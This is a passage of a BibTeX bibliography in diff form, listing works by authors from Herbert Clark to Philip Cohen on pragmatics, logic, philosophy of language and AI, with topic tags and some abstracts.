Overhearers" + 9. "Concealing One's Meaning from Overhearers" + 10. "Making Sense of Nonce Sense" + 11. "Understanding Old Words with New Meanings" + 12. "Words, the World, and Their Possibilities" + }, + topic = {mutual-beliefs;coord-in-conversation;discourse; + pragmatics;psychology-of-discourse;} + } + +@incollection{ clark_hh-carlson:1992a, + author = {Herbert Clark and Thomas B. Carlson}, + title = {Context for Comprehension}, + booktitle = {Attention and Performance {IX}}, + publisher = {Lawrence Erlbaum Associates}, + year = {1982}, + pages = {313--330}, + address = {Mahwah, New Jersey}, + xref = {Republished in clark:1992a.}, + topic = {discourse;context;pragmatics;psychology-of-discourse;} + } + +@book{ clark_hh:1996a, + author = {Herbert H. Clark}, + title = {Using Language}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + contentnote = {TC: + 0. Introduction + 1. Language Use + 2. Joint Activities + 3. Joint Actions + 4. Common Ground + 5. Meaning and Understanding + 6. Signaling + 7. Joint Projects + 8. Grounding + 9. Utterances + 10. Joint Commitment + 11. Conversation + 12. Layering + 13. Conclusion + }, + topic = {pragmatics;psychology-of-discourse;} + } + +@inproceedings{ clark_hh:1999a, + author = {Herbert H. Clark}, + title = {How Do Real People Communicate with + Virtual Partners?}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {43--47}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;HCI;psychology-of-discourse;} + } + +@incollection{ clark_kl:1978a1, + author = {Keith L. Clark}, + title = {Negation as Failure}, + booktitle = {Logic and Data Bases}, + publisher = {Plenum Press}, + year = {1978}, + editor = {H. Gallaire and Jack Minker}, + pages = {293--322}, + address = {New York}, + missinginfo = {E's 1st name.}, + xref = {Republication: clark_kl:1978a1.}, + topic = {logic-programming;negation-as-failure;} + } + +@incollection{ clark_kl:1978a2, + author = {Keith L. Clark}, + title = {Negation as Failure}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {311--325}, + address = {Los Altos, California}, + xref = {Original publication: clark_kl:1978a2.}, + topic = {logic-programming;negation-as-failure;} + } + +@book{ clark_kl-tarnlund:1982a, + editor = {Keith L. Clark and Sten-{\AA}ke T{\aa}rnlund}, + title = {Logic Programming}, + publisher = {Academic Press}, + year = {1982}, + address = {New York}, + ISBN = {0121755207}, + topic = {logic-programming;} + } + +@article{ clark_m:1980a, + author = {Michael Clark}, + title = {The Equivalence of Tautological and `Strict' Entailment + Proof of an Amended Conjecture of {L}ewy's}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {1}, + pages = {9--15}, + topic = {relevance-logic;} + } + +@inproceedings{ clark_p-etal:2000a, + author = {Peter Clark and John Thompson and Bruce Porter}, + title = {Knowledge Patterns}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {591--600}, + topic = {knowledge-acquisition;knowledge-engineering; + macro-formalization;} + } + +@article{ clark_r1:1965a, + author = {Romane Clark}, + title = {On What is Naturally Necessary}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {21}, + pages = {613--625}, + xref = {Commentary: buck_rc:1965a, achinstein:1965a.}, + topic = {ceteris-paribus-generalizations;natural-laws;causality; + nonmonotonic-reasoning;} + } + +@article{ clark_r1:1986a, + author = {Romane Clark}, + title = {Predication and Paronymous Modifiers}, + journal = {Notre Dame Journal of Formal Logic}, + year = {1986}, + volume = {27}, + number = {3}, + pages = {376--392}, + topic = {nl-semantics;adverbs;} + } + +@incollection{ clark_r1:1992a, + author = {Ron Clark}, + title = {Reflection and Truth}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {73--84}, + address = {San Francisco}, + topic = {epistemic-logic;semantic-reflection;} + } + +@incollection{ clark_r1-kurtonina:1999a, + author = {Robin Clark and Natasha Kurtonina}, + title = {Consequences from {Q}uine}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {91--95}, + address = {Amsterdam}, + topic = {combinatory-logic;switch-reference;} + } + +@article{ clark_r2:1970a, + author = {Romane Clark}, + title = {Concerning the Logic of Predicate Modifiers}, + journal = {No\^us}, + year = {1970}, + volume = {4}, + number = {4}, + pages = {311--335}, + topic = {adverbs;nl-semantics;} + } + +@incollection{ clark_r2:1973a, + author = {Romane Clark}, + title = {Prima Facie Generalizations}, + booktitle = {Conceptual Change}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + editor = {Glenn Pearce and Patrick Maynard}, + pages = {42--54}, + address = {Dordrecht}, + topic = {ceteris-paribus-generalizations;generics;} + } + +@unpublished{ clark_r2:1981a, + author = {Romane Clark}, + title = {When Is a Fallacy Valid? Reflections on Backward Reasoning}, + year = {1970}, + note = {Unpublished manuscript, Indiana University.}, + topic = {abduction;nonmonotonic-reasoning;} + } + +@article{ clarke_b:1981a, + author = {Bowman L. Clarke}, + title = {A Calculus of Individuals Based on `Connection'\, } , + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1981}, + volume = {22}, + number = {3}, + pages = {204--218}, + topic = {mereology;spatial-reasoning;} + } + +@article{ clarke_b:1985a, + author = {Bowman L. Clarke}, + title = {Individuals and Points}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1985}, + volume = {26}, + number = {1}, + pages = {61--75}, + topic = {mereology;spatial-reasoning;} + } + +@book{ clarke_dd:1983a, + author = {David D. Clarke}, + title = {Language and Action: A Structural Model of Behaviour}, + publisher = {Pergamon Press}, + year = {1983}, + address = {New York}, + topic = {discourse-analysis;} +} + +@book{ clarke_ds:1985a, + author = {David S. {Clarke, Jr.}}, + title = {Practical Inferences}, + publisher = {Routledge \& Kegan Paul}, + year = {1996}, + address = {London}, + ISBN = {0710204159}, + topic = {practical-reason;} + } + +@article{ clarke_em-etal:1986a, + author = {E.M. Clarke and E.A. Emerson and A.P. Sistla}, + title = {Automatic Verification of Finite-State Concurrent Systems + Using Temporal Logic Specifications}, + journal = {{ACM} Transactions on Programming Languages and Systems}, + year = {1986}, + volume = {8}, + number = {2}, + pages = {244--263}, + topic = {temporal-logic;program-verification;} + } + +@book{ clarke_em-etal:1999a, + author = {Edmund M. Clarke and Orna Grumberg and Doron A. Peled}, + title = {Model Checking}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0262032708}, + topic = {model-checking;program-verification;} + } + +@incollection{ clarke_n-wilson_w:1991a, + author = {Mike Clarke and Nic Wilson}, + title = {Efficient Algorithms for Belief Functions Based on the + Relationship Between Belief and Probability}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {48--52}, + address = {Berlin}, + topic = {probabilistic-reasoning;} + } + +@incollection{ clarke_r:2000a, + author = {Randolph Clarke}, + title = {Modest Libertarianism}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {21--45}, + address = {Oxford}, + topic = {freedom;volition;} + } + +@article{ clausing:2002a, + author = {Thorsten Clausing}, + title = {A Syntactic Framework with Probabilistic Beliefs and + Conditionals for the Analysis of Strategic Form Games}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {3}, + pages = {335--348}, + topic = {game-theory;conditionals;epistemic-logic;probability-semantics;} + } + +@book{ clavel:2000a, + author = {Manuel Clavel}, + title = {Reflection in Rewriting Logic: Metalogical Foundations and + Metaprogramming Applications}, + publisher = {CSLI Publications}, + year = {2000}, + address = {Stanford, California}, + ISBN = {1575862379}, + topic = {metaprogramming;} + } + +@article{ claybrook:1976a, + author = {Billy G. Claybrook}, + title = {A New Approach to the Symbolic Factorization of + Multivariate Polynomials}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {3}, + pages = {203--241}, + acontentnote = {Abstract: + A heuristic factorization scheme that uses learning and other + heuristic programming techniques to improve the efficiency of + determining the symbolic factorization of multivariate + polynomials with integer coefficients and an arbitrary number of + variables and terms is described. The learning program, + POLYFACT, in which the factorization scheme is implemented is + also described. POLYFACT uses learning through the dynamic + construction and manipulation of first-order predicate calculus + heuristics to reduce the amount of searching for the irreducible + factors of a polynomial. + Tables containing the results of factoring randomly generated + multivariate polynomials are presented: (1) to demonstrate that + learning does improve considerably the efficiency of factoring + polynomials and (2) to show that POLYFACT does learn from + previous experience. + The factorization times of polynomials factored by both the + scheme implemented in POLYFACT and Wang's implementation of + Berlekamp's algorithm are given. The two algorithms are + compared, and two situations where POLYFACT's algorithm can be + used to improve the efficiency of Wang's algorithm are + discussed. } , + topic = {machine-learning;search;algebraic-computation;} + } + +@article{ clearwater-hogg:1996a, + author = {Scott H. Clearwater and Tad Hogg}, + title = {Problem Structure Heuristics and Scaling Behavior for + Generic Algorithms}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {327--347}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@book{ cleave:1991a, + author = {John P. Cleave}, + title = {A Study of Logics}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + topic = {philosophical-logic;} +} + +@book{ clemen:1995a, + author = {Robert T. Clemen}, + title = {Making Hard Decisions: An Introduction to Decision + Analysis}, + publisher = {Duxbury Press}, + year = {1995}, + address = {Pacific Grove, California}, + topic = {decision-theoretic-reasoning;} + } + +@article{ clementini-etal:1997a, + author = {Eliseo Clementini and Paolino Di Felice and Daniel + Hern\'andez}, + title = {Qualitative Representation of Positional Information}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {95}, + number = {2}, + pages = {317--356}, + topic = {qualitative-reasoning;spatial-reasoning;spatial-representation;} + } + +@book{ cleveland:1997a, + author = {Timothy Cleveland}, + title = {Trying without Willing: An Essay in the Philosophy of + Mind}, + publisher = {Ashgate Publishing}, + year = {19}, + address = {Aldershot}, + xref = {Review: roth:2000a.}, + topic = {volition;action;} + } + +@book{ clocksin-mellish:1987a, + author = {William F. Clocksin and Christopher S. Mellish}, + title = {Programming in Prolog}, + edition = {3}, + publisher = {Springer-Verlag}, + year = {1987}, + address = {Berlin}, + topic = {Prolog;} + } + +@book{ clocksin-mellish:1994a, + author = {William F. Clocksin and Christopher S. Mellish}, + title = {Programming in Prolog}, + edition = {4}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + topic = {Prolog;} + } + +@article{ clowes:1970a, + author = {M.B. Clowes}, + title = {On Seeing Things}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {2}, + number = {1}, + pages = {79--116}, + topic = {computer-vision;} + } + +@book{ coates:1983a, + author = {J. Coates}, + title = {The Semantics of the Modal Auxiliaries}, + publisher = {Croom Helm}, + year = {1983}, + address = {London}, + topic = {modal-auxiliaries;nl-modality;lexical-semantics;} + } + +@article{ cocchiarella:1971a, + author = {Nino Cocchiarella}, + title = {A New Formulation of Predicative Second Order Logic}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1971}, + volume = {17}, + number = {65--66}, + missinginfo = {pages}, + topic = {predicativity;higher-order-logic;} + } + +@article{ cocchiarella:1975a, + author = {Nino B. Cocchiarella}, + title = {On the Primary and Secondary Semantics for Logical Necessity}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {1}, + pages = {13--27}, + topic = {modal-logic;analyticity;} + } + +@article{ cocchiarella:1981a, + author = {Nino Cocchiarella}, + title = {Review of {\it Pragmatics, Truth, and Language}, by + {R}ichard {M}. {M}artin}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {3}, + pages = {453--466}, + xref = {Review of martin_rm1:1979a.}, + topic = {nominalism;philosophy-of-language;} + } + +@article{ cocchiarella:1982a, + author = {Nino Cocchiarella}, + title = {Meinong Reconstructed {\it Versus} Early {R}ussell + Reconstructed}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {2}, + pages = {183--214}, + note = {Review of \cite{parsons_t2:1980a}.}, + topic = {Russell;Meinong;(non)existence;} + } + +@unpublished{ cocchiarella:1984a, + author = {Nino Cocchiarella}, + title = {Frege, {R}ussell and Logicism: A Logical Reconstruction}, + year = {1984}, + note = {Unpublished manuscript, Indiana University.}, + missinginfo = {Date is a guess.}, + topic = {Frege;Russell;logicism;} + } + +@incollection{ cocchiarella:1984b, + author = {Nino B. Cocchiarella}, + title = {Philosophical Perspectives on Quantification in Tense and + Modal Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {309--353}, + address = {Dordrecht}, + topic = {quantifying-in-modality;} + } + +@article{ cocchiarella:1985a, + author = {Nino Cocchiarella}, + title = {Frege's Double Correlation Thesis and {Q}uine's Set + Theories {NF} and {ML}}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {1}, + pages = {1--39}, + topic = {foundations-of-set-theory;} + } + +@article{ cocchiarella:1986a, + author = {Nino B. Cocchiarella}, + title = {Conceptualism, Ramified Logic, and Nominalized Predicates}, + journal = {Topoi}, + year = {1986}, + volume = {5}, + pages = {75--87}, + topic = {predication;ramified-type-theory;nominalization;} + } + +@incollection{ cocchiarella:1986b, + author = {Nino B. Cocchiarella}, + title = {Frege, {R}ussell, and Logicism: A Logical Reconstruction}, + booktitle = {Frege Synthesized}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + editor = {Leila Haaparanta and Jaakko Hintikka}, + pages = {197--252}, + address = {Dordrecht}, + topic = {Frege;Russell;logicism;} + } + +@article{ cocchiarella:1988a, + author = {Nino B. Cocchiarella}, + title = {Predication Versus Membership in the Distinction + between Logic as Language and Logic as Calculus}, + journal = {Synth\'ese}, + year = {1988}, + volume = {77}, + number = {1}, + pages = {37--72}, + topic = {predication;foundations-of-logic;} + } + +@book{ cocchiarella:1990a, + author = {Nino B. Cocchiarella}, + title = {Logical Investigations of Predication Theory and + the Problem of Universals}, + publisher = {Humanities Press}, + year = {1990}, + address = {Atlantic Highlands, New Jersey}, + xref = {Review: williamson_t:1990c.}, + topic = {metaphysics;philosophical-realism;} + } + +@article{ cocchiarella:2002a, + author = {Nino Cocchiarella}, + title = {On the Logic of Classes as Many}, + journal = {Studia Logica}, + year = {2002}, + volume = {70}, + number = {2}, + pages = {303--338}, + topic = {pluralities;Russell;} + } + +@unpublished{ code:1972a, + author = {Alan Code}, + title = {Contingent Identity in {A}ristotle's {\em Metaphysics}}, + year = {1972}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a wild guess.}, + topic = {identity;individuation;Aristotle;metapysics;} + } + +@unpublished{ code:1975a, + author = {Alan Code}, + title = {The Persistence of {A}ristotlian Matter}, + year = {1975}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {identity;individuation;Aristotle;metapysics;} + } + +@unpublished{ code:1976a1, + author = {Alan Code}, + title = {Aristotle's Response to {Q}uine's Objections to Modal Logic}, + year = {1977}, + note = {Unpublished manuscript.}, + topic = {Aristotle;quantifying-in-modality;} + } + +@article{ code:1976a2, + author = {Alan Code}, + title = {Aristotle's Response to {Q}uine's Objections to Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {2}, + pages = {159--186}, + xref = {Publication of: code:1976a1.}, + title = {Aristotle on Future Contingencies and Truth-Value Gaps}, + year = {1977}, + note = {Unpublished manuscript.}, + title = {Aristotle on the Sameness of Each Thing with Its Essence}, + year = {1980}, + note = {Unpublished manuscript.}, + topic = {Aristotle;metaphysics;} + } + +@unpublished{ code:1982a, + author = {Alan Code}, + title = {On the Origin of some Aristotelian Theses about Predication}, + year = {1980}, + note = {Unpublished manuscript.}, + topic = {Aristotle;metaphysics;predication;} + } + +@incollection{ code:1986a, + author = {Alan Code}, + title = {Aristotle: Essence and Accident}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {410--439}, + address = {Oxford}, + topic = {Aristotle;essentialism;} + } + +@article{ coenen:1993a, + author = {J. Coenen}, + title = {Top-Down Development of Layered Fault-Tolerant + Systems and Its Problems---A Deoptic Perspective}, + journal = {Annalss of Mathematics and Artificial Intelligence}, + year = {1993}, + volume = {9}, + number = {1--2}, + pages = {133--150}, + missinginfo = {A's 1st name}, + topic = {deontic-logic;software-engineering;} + } + +@book{ coffa:1991a, + author = {J. Alberto Coffa}, + title = {The Semantic Tradition from {K}ant + to {C}arnap: to the {V}ienna Station}, + publisher = {Cambridge University Press}, + year = {1991}, + address = {Cambridge, England}, + xref = {Review: ryckman:1993a.}, + topic = {philosophy-of-language;logical-positivism; + history-of-semantics;} + } + +@book{ coffey-atkinson:1998a, + author = {Amanda Coffey and Paul Atkinson}, + title = {Making Sense of Qualitative Data}, + publisher = {Sage Publications}, + year = {1996}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@phdthesis{ cohan:2000a, + author = {Jocelyn Cohan}, + title = {The Realization and Function of Focus in Spoken + {E}nglish}, + school = {The University of Texas at Austin}, + year = {2000}, + type = {Ph.{D}. Dissertation}, + address = {Austin}, + topic = {sentence-focus;} + } + +@incollection{ cohan:2001a, + author = {Jocelyn Cohan}, + title = {Consider the Alternatives: Focus in Contrast + and Context}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {102--115}, + address = {Berlin}, + topic = {context;sentence-focus;alternatives;} + } + +@phdthesis{ cohen_a:1996a, + author = {Ariel Cohen}, + title = {Think Generic! The Meaning and Use of Generic Sentences}, + school = {Department of Philosophy, Carnegie Mellon University}, + year = {1996}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh, Pennsylvania}, + topic = {generics;} + } + +@article{ cohen_a:1999a, + author = {Ariel Cohen}, + title = {Generics, Frequency Adverbs, and Probability}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {3}, + pages = {221--253}, + topic = {generics;nl-semantics;probability;} + } + +@article{ cohen_a:2000a, + author = {Ariel Cohen}, + title = {The King of France Is, in Fact, Bald}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {4}, + pages = {255--290}, + topic = {definite-descriptions;conditionals;} + } + +@article{ cohen_a:2001a, + author = {Ariel Cohen}, + title = {Relative Bindings of `Many', `Often', and Generics}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {9}, + number = {1}, + pages = {41--67}, + topic = {nl-quantifier-scope;nl-quantifiers;} + } + +@article{ cohen_a-erteschikshir:2002a, + author = {Ariel Cohen and Nomi Erteschik-Shir}, + title = {Topic, Focus, and the Interpretation of Bare Plurals}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {10}, + number = {2}, + pages = {125--165}, + topic = {plural;nl-semantics;sentence-focus;generics;} + } + +@article{ cohen_b:1977a, + author = {Brian L. Cohen}, + title = {The Mechanical Discovery of Certain Problem Symmetries}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {1}, + pages = {119--131}, + acontentnote = {Abstract: + This paper presents several methods for analysing finite state + problems to discover certain types of symmetry. The methods are + based on techniques used in Sequential Machine Theory, + especially the use of partitions that have the Substitution + Property. Amarel's investigations of a type of time-reverse + symmetry have also been extended to a wider class of problems. + All the symmetries discussed enable substantial savings in + search effort to be obtained by effectively reducing the size of + the search space.}, + topic = {search;symmetry;} + } + +@article{ cohen_bl:1977b, + author = {Brian L. Cohen}, + title = {A Powerful and Efficient Structural Pattern Recognition + System}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {3}, + pages = {223--255}, + topic = {pattern-matching;} + } + +@book{ cohen_d:1974a, + editor = {David Cohen}, + title = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + address = {Washington, DC}, + contentnote = {TC: + 1. Gerald A. Sanders, "Introduction: Issues of Explanation in + Linguistics", pp. 1--41 + 2. Fred I. Dretske, "Explanation in Linguistics", pp. 21--41 + 3. Larry Hutchinson, "Grammar as Theory", pp. 43--73 + 4. Harry A. Whitaker, "Is the Grammar in the Brain?", pp. 75--89 + 5. Herbert H. Clark and Susan E. Haviland, "Psychological + Processes as Linguistic Explanation", pp. 91--124 + 6. Ray C. Dougherty, "What Explanation Is and Isn't", pp. 125--151 + 7. Emmon Bach, "Explanatory Adequacy", pp. 153--171 + 8. Thomas G. Bever, "The Ascent of the Specious, or, There's + a Lot We Don't Know about Mirrors", pp. 173--200 } , + topic = {philosophy-of-linguistics;linguistics-methodology;} + } + +@book{ cohen_d-worth:1977a, + editor = {David Cohen and Jessica Worth}, + title = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + address = {New York}, + contentnote = {TC: + 1. Jon D. Ringen, "Linguistic Facts: A Study of the Empirical + Scientific Status of Transformational Generative + Grammars" + 2. Victoria A. Fromkin, "When Does a Test Count as a + Hypothesis, or, What Counts as Evidence?" + 3. Donald J. Foss and David Fay, "Linguistic Theory + and Performance Models" + 4. Stephen P. Stich, "Competence and Indeterminacy" + 5. D. Terence Langendoen, "Acceptable Conclusions from + Unacceptable Ambiguity" + 6. Arnold Zwicky, "Settling on an Underlying Form: The + {E}nglish Inflectional Endings" + 7. Paul Kiparsky, "What Are Phonological Theories about?" + 8. Jessica R. Wirth, "Logical Considerations in the Testing + of Linguistic Hypotheses" + } , + topic = {philosophy-of-linguistics;} + } + +@article{ cohen_dh:1991a, + author = {Daniel H. Cohen}, + title = {Conditionals, Quantification, and Strong Mathematical Induction}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {3}, + pages = {315--326}, + topic = {relevance-logic;mathematical-induction;} + } + +@article{ cohen_e:1994a, + author = {Edward Cohen}, + title = {Computational Theory for Interpreting Handwritten Text in + Constrained Domains}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {1}, + pages = {1--31}, + acontentnote = {Abstract: + This paper describes a computational theory for automatic + interpretation of off-line handwritten text that is constrained + in content and structure. Interpreting text is regarded as + converting the textual content into a predefined symbolic + representation. Content constraints are lexicons associated + with syntactic categories, and known relationships (e.g., + semantics, world knowledge) between phrases in different + syntactic categories. Structural constraints describe the + text's two-dimensional phrase layout (e.g., the phrase's + position in a text line). Writing style is assumed to be + unconstrained (i.e., what is normally encountered in practice). + Handwritten interpretation problems in this class include + determining delivery point codes from addresses, amounts from + bank checks, and drug and dosage from drug prescriptions. In + this paper, a computational theory, including algorithm and + implementation examples, describes the problem class and a + solution.}, + topic = {computational-reading;} + } + +@book{ cohen_j-stewart_i:1994a, + author = {Jack Cohen and Ian Stewart}, + title = {The Collapse of Chaos: Discovering Simplicity in a Complex + World}, + publisher = {Viking}, + year = {1994}, + address = {New York}, + ISBN = {0670849839}, + topic = {chaos-theory;} + } + +@article{ cohen_lj:1964a1, + author = {{L. Jonathan} Cohen}, + title = {Do Illocutionary Forces Exist?}, + journal = {Philosophical Quarterly}, + year = {1964}, + volume = {14}, + missinginfo = {number, pages}, + xref = {Reprinted in fann:1969a; see cohen_lj:1964a2}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@incollection{ cohen_lj:1964a2, + author = {{L. Jonathan} Cohen}, + title = {Do Illocutionary Forces Exist?}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {420--444}, + address = {London}, + missinginfo = {E's 1st name.}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@incollection{ cohen_lj:1971a, + author = {L. Jonathan Cohen}, + title = {Some Remarks on {G}rice's Views about the Logical + Particles of Natural Language}, + booktitle = {Pragmatics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1971}, + editor = {Yehoshua Bar-Hillel}, + pages = {50--68}, + address = {Dordrecht}, + topic = {philosophy-of-logic;pragmatics;Grice;} + } + +@incollection{ cohen_lj-margalit:1972a, + author = {L. Jonathan Cohen and Avishai Margalit}, + title = {The Role of Inductive Reasoning in the Interpretation of + Metaphor}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {722--740}, + address = {Dordrecht}, + topic = {metaphor;philosophy-of-language;} + } + +@incollection{ cohen_lj:1976a, + author = {L. Jonathan Cohen}, + title = {How Empirical is Contemporary Logical Empiricism?}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {359--376}, + address = {Dordrecht}, + topic = {logical-empiricism;} + } + +@incollection{ cohen_lj:1979a, + author = {L. Jonathan Cohen}, + title = {The Semantics of Metaphor}, + booktitle = {Metaphor and Thought}, + publisher = {Cambridge University Press}, + year = {1979}, + editor = {Andrew Ortony}, + pages = {64--77}, + address = {Cambridge, England}, + topic = {metaphor;pragmatics;} + } + +@book{ cohen_lj-hesse:1980a, + editor = {L. Jonathan Cohen and Mary Hesse}, + title = {Applications Of Inductive Logic: Proceedings Of a + Conference at the Queen's College, Oxford, 21--24 August 1978}, + publisher = {Oxford University Press}, + year = {1980}, + address = {Oxford}, + ISBN = {019824584X}, + topic = {inductive-logic;} + } + +@book{ cohen_lj:1982a, + editor = {L. Jonathan Cohen}, + title = {Logic, Methodology, and Philosophy of Science {VI}: + Proceedings of the Sixth International Congress of Logic, + Methodology, and Philosophy of Science, {H}annover, 1979}, + publisher = {North-Holland Publishing Co.}, + year = {1982}, + address = {Amsterdam}, + ISBN = {0444854231 (Elsevier North-Holland)}, + topic = {philosophy-of-science;} + } + +@book{ cohen_lj:1995a, + author = {L. Jonathan Cohen}, + title = {An Essay on Belief and Acceptance}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + topic = {belief;} + } + +@article{ cohen_md-etal:1972a, + author = {M.D. Cohen and J.G. March and J.P. Olsen}, + title = {A Garbage Can Model of Organizational Choice}, + journal = {Administrative Science Quarterly}, + year = {1972}, + volume = {17}, + pages = {1--25}, + missinginfo = {A's 1st name, number}, + topic = {decision-making;management-science;} + } + +@article{ cohen_pr1-perrault:1979a1, + author = {Philip R. Cohen and C. Raymond Perrault}, + title = {Elements of a Plan-Based Theory of Speech Acts}, + journal = {Cognitive Science}, + year = {1979}, + volume = {3}, + pages = {177--212}, + topic = {speech-acts;planning;discourse;speech-acts; + pragmatics;} + } + +@incollection{ cohen_pr1-perrault:1979a2, + author = {Philip Cohen and C. Raymond Perrault}, + title = {Elements of a Plan-Based + Theory of Speech Acts}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {478--495}, + address = {Los Altos, California}, + xref = {Journal Publication: cohen_pr1-perrault:1979a1.}, + topic = {speech-acts;planning;discourse;speech-acts; + pragmatics;} + } + +@inproceedings{ cohen_pr1-levesque:1980a, + author = {Philip R. Cohen and Hector J. Levesque}, + title = {Speech Acts and the Recognition of Shared Plans}, + booktitle = {Proceedings of the 1980 Meeting of the + Canadian Society for Computational Studies of Intelligence}, + year = {1980}, + pages = {263--271}, + organization = {Canadian Society for Computational Studies of Intelligence}, + missinginfo = {editor, publisher}, + topic = {speech-acts;pragmatics;plan-recognition;} + } + +@article{ cohen_pr1:1984a, + author = {Philip R. Cohen}, + title = {The Pragmatics of Referring and the Modality of Communication}, + journal = {Computational Linguistics}, + year = {1984}, + volume = {10}, + number = {2}, + pages = {97--125}, + topic = {discourse-planning;referring-expressions;plan-recognition; + pragmatics;} + } + +@inproceedings{ cohen_pr1-levesque:1985a, + author = {Philip R. Cohen and Hector J. Levesque}, + title = {Speech Acts and Rationality}, + booktitle = {Proceedings of the Twenty-Third Meeting of the + Association for Computational Linguistics}, + year = {1985}, + editor = {William Mann}, + pages = {49--59}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Morristown, New Jersey}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ cohen_pr1-levesque:1986a1, + author = {Philip R. Cohen and Hector J. Levesque}, + title = {Persistence, Intention, and Commitment}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {297--340}, + address = {Los Altos, California}, + xref = {Republished. See cohen_p-levesque:1986a2.}, + topic = {intention;practical-reasoning;foundations-of-planning;} + } + +@incollection{ cohen_pr1-levesque:1986a2, + author = {Philip R. Cohen and Hector J. Levesque}, + title = {Persistence, Intention, and Commitment}, + booktitle = {Intentions in Communication}, + publisher = {MIT Press}, + year = {1990}, + editor = {Philip R. Cohen and Jerry Morgan and Martha Pollack}, + pages = {33--69}, + address = {Cambridge, Massachusetts}, + xref = {Previously published in cohen-levesque:1986a1.}, + topic = 